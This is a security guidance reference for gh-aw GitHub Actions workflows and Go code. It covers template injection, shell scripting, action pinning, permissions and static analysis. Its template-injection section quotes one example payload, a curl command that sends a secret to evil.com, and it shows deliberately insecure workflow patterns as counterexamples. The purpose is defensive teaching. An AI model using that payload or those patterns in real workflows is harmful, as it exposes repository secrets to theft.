| name | developer-security |
| description | Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration. |
Security Best Practices
Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.
Table of Contents
Template Injection Prevention
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.
Understanding the Risk
GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.
Insecure Pattern
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "
Secure Pattern: Environment Variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.
Data Flow Comparison
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
Recent Fixes (November 2025)
Template injection vulnerabilities were identified and fixed in:
copilot-session-insights.md - Step output passed through environment variable
- Pattern: Move template expressions from bash scripts to environment variable assignments
See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.
Secure Pattern: Sanitized Context (gh-aw specific)
Analyze this content: "${{ steps.sanitized.outputs.text }}"
The steps.sanitized.outputs.text output is automatically sanitized:
- @mentions neutralized
- Bot triggers protected
- XML tags converted to safe format
- Only HTTPS URIs from trusted domains
- Content limits enforced (0.5MB, 65k lines)
- Control characters removed
Safe Context Variables
Always safe to use in expressions:
github.actor
github.repository
github.run_id
github.run_number
github.sha
Never safe in expressions without environment variable indirection:
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.pull_request.title
github.event.pull_request.body
github.head_ref (can be controlled by PR authors)
Cross-Trigger Nullability in Generated Conditional Expressions
When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.
GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).
Insecure Pattern (missing trigger guard)
condition := fmt.Sprintf(
"github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.
Secure Pattern (event_name + nullability guard)
condition := fmt.Sprintf(
"github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
Required Guidance for Condition Generation
- Guard every trigger-specific object chain (
github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.
- Add nullability guards for each parent object in the chain before accessing deeper properties.
- For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
- Prefer conservative composition (
A && B && C) where early terms validate event type/object existence before nested access.
Verification Checklist
- Enumerate all declared triggers in the generated workflow.
- For each generated condition, confirm nested event-field access is valid for every trigger.
- Validate that unsupported triggers short-circuit before nested field access.
- Add/update tests in
pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.
Shell Script Best Practices
SC2086: Double Quote to Prevent Globbing and Word Splitting
Insecure:
steps:
- name: Process files
run: |
FILES=$(ls *.txt)
for file in $FILES; do
echo $file
done
Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.
Secure:
steps:
- name: Process files
run: |
while IFS= read -r file; do
echo "$file"
done < <(find . -name "*.txt")
Shell Script Security Checklist
- Always quote variable expansions:
"$VAR"
- Use
[[ ]] instead of [ ] for conditionals
- Use
$() instead of backticks for command substitution
- Enable strict mode:
set -euo pipefail
- Validate and sanitize all inputs
- Use shellcheck to catch common issues
Example secure script:
steps:
- name: Secure script
env:
INPUT_VALUE: ${{ github.event.inputs.value }}
run: |
set -euo pipefail
if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "Invalid input format"
exit 1
fi
echo "Processing: $INPUT_VALUE"
result=$(grep -r "$INPUT_VALUE" . || true)
echo "$result"
Supply Chain Security
Supply chain attacks target dependencies in CI/CD pipelines.
Pin Action Versions with SHA
Insecure:
steps:
- uses: actions/checkout@v5
- uses: actions/setup-node@main
Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.
Secure:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8
Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.
Finding SHA for Actions
git ls-remote https://github.com/actions/checkout v4.1.1
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
Workflow Structure and Permissions
Minimal Permissions Principle
Insecure:
name: CI
on: [push]
permissions: write-all
Secure:
name: CI
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
Job-Level Permissions
name: CI/CD
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
deploy:
needs: test
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
steps:
- uses: actions/checkout@sha
- run: npm run deploy
Available Permissions
| Permission | Read | Write | Use Case |
|---|
| contents | Read code | Push code | Repository access |
| issues | Read issues | Create/edit issues | Issue management |
| pull-requests | Read PRs | Create/edit PRs | PR management |
| actions | Read runs | Cancel runs | Workflow management |
| checks | Read checks | Create checks | Status checks |
| deployments | Read deployments | Create deployments | Deployment management |
Static Analysis Integration
Integrate static analysis tools into development and CI/CD workflows:
Available Tools
- actionlint - Lints GitHub Actions workflows, validates shell scripts
- zizmor - Security vulnerability scanner for GitHub Actions
- poutine - Supply chain security analyzer
Running Locally
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine
gh aw compile --strict --actionlint --zizmor --poutine
Security Checklist
Template Injection
Shell Scripts
Supply Chain
Permissions
Static Analysis